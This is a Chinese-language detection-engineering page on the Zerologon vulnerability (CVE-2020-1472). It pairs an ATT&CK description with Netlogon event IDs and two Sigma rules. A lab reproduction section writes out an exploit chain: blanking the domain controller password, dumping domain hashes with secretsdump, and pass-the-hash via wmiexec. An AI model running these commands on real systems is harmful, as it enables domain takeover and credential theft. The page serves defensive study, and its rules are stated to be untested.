跳转至

T1134-001-win-CVE-2020-1472

来自ATT&CK的描述

攻击者可能会复制,然后冒充另一个用户的令牌以提升特权并绕过访问控制。攻击者可以创建一个新的访问令牌,该令牌使用来复制现有令牌DuplicateToken(Ex)。然后可以将该令牌用于ImpersonateLoggedOnUser允许调用线程模拟已登录用户的安全上下文,或者SetThreadToken用于将模拟令牌分配给线程。

当攻击者具有要将新令牌分配给的特定现有过程时,他们可以执行此操作。例如,当目标用户在系统上具有非网络登录会话时,这可能很有用。

测试案例

2020年9月11日,安全研究员Secura发布了公告,阐明了Microsoft在2020年8月修补的漏洞细节(CVE-2020-1472)。该漏洞也称为“Zerologon”,CVSS评分为10.0,号称3秒撸域控,危害严重。攻击者在通过NetLogon(MS-NRPC)协议与AD域控建立安全通道时,可利用该漏洞将AD域控的计算机账号密码置为空,从而控制域控服务器。本文将从“Zerologon”漏洞原理、漏洞复现、威胁狩猎三个维度对该漏洞进行分析。

具体可参考安全客相关文章,传送门

检测日志

Windows 系统日志、全流量

此外,在8月份的补丁中,Microsoft添加了五个新的event ID,以通知易受攻击的Netlogon连接:

1、允许存在漏洞的Netlogon安全通道连接时,将生成event ID 5829

2、拒绝易受攻击的Netlogon连接时,将触发event ID 5827和5828

3、允许存在漏洞的Netlogon连接时触发的event ID 5830和5831

如果域控已经安装了补丁,还可以通过以上5个event ID进行威胁狩猎。

测试复现

以下模拟测试过程来自安全客相关文章,传送门

实验环境:

域控:Winserver2012 R2(x64)
IP:10.10.10.10
hostname:DC
域:de1ay.com

windows域控

攻击机:ubuntu1604(x64)
IP:10.10.10.111

hacker-pc

运行exp脚本,成功将AD域控的机器账户DC的密码置换成空:

python3 cve-2020-1472-exploit.py  DC 10.10.10.10

hacking-1

此时域控服务器账户密码为空,同等于已知密码,可以导出域内所有用户凭据:

python3 secretsdump.py de1ay/DC\[email protected] -no-pass

hacking-2

导出hash后,发现DC的hash为31d6cfe0d16ae931b73c59d7e0c089c0,也就是空密码,同时获得了域管administrator的hash,利用administrator的hash拿下域控:

python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24 [email protected]

hacking-3

测试留痕

暂无,具体同样可参考安全客文章,传送门

检测规则/思路

sigma规则

检测规则1

title: Possible CVE-2020-1472 (zerologon)
description: CVE-2020-1472 (Netlogon Elevation of Privilege Vulnerability) may create thousands of NetrServerReqChallenge & NetrServerAuthenticate3 requests in a short amount of time.
author: SOC Prime Team
date: 2020/09/11
references:
- https://github.com/SecuraBV/CVE-2020-1472
tags:
- attack.lateral_movement
- attack.T1210
logsource:
  product: zeek
  service: dce_rpc
detection:
  selection:
    endpoint: 'netlogon'
    operation: 'NetrServerReqChallenge'
  selection2:
    endpoint: 'netlogon'
    operation: 'NetrServerAuthenticate3'
  timeframe: 1m
  condition: selection or selection2 | count() by src_ip > 100
falsepositives:
- 'unknown'
level: high

检测规则2

title: Vulnerable Netlogon Secure Channel Connection Allowed
id: a0cb7110-edf0-47a4-9177-541a4083128a
status: experimental
description: Detects that a vulnerable Netlogon secure channel connection was allowed, which could be an indicator of CVE-2020-1472.
references:
    - https://support.microsoft.com/en-us/help/4557222/how-to-manage-the-changes-in-netlogon-secure-channel-connections-assoc
author: NVISO
date: 2020/09/15
tags:
    - attack.privilege_escalation
logsource:
    product: windows
    service: system
detection:
    selection:
        EventID:
            - 5829 #具备一定的局限性,需要域控主机打完补丁后,方可使用
    condition: selection
fields:
    - SAMAccountName
falsepositives:
    - Unknown
level: high

建议

相关规则未在真实环境中进行测试,效果未知。

参考推荐

MITRE-ATT&CK-T1134-001

https://attack.mitre.org/techniques/T1134/001/

ZeroLogon(CVE-2020-1472)分析与狩猎

https://www.anquanke.com/post/id/219090#h2-2

win_vul_cve_2020_1472-sigma

https://github.com/Neo23x0/sigma/blob/2cd9b794e677a038f3ace5b15d649ca191809846/rules/windows/builtin/win_vul_cve_2020_1472.yml

zeek官方

https://zeek.org/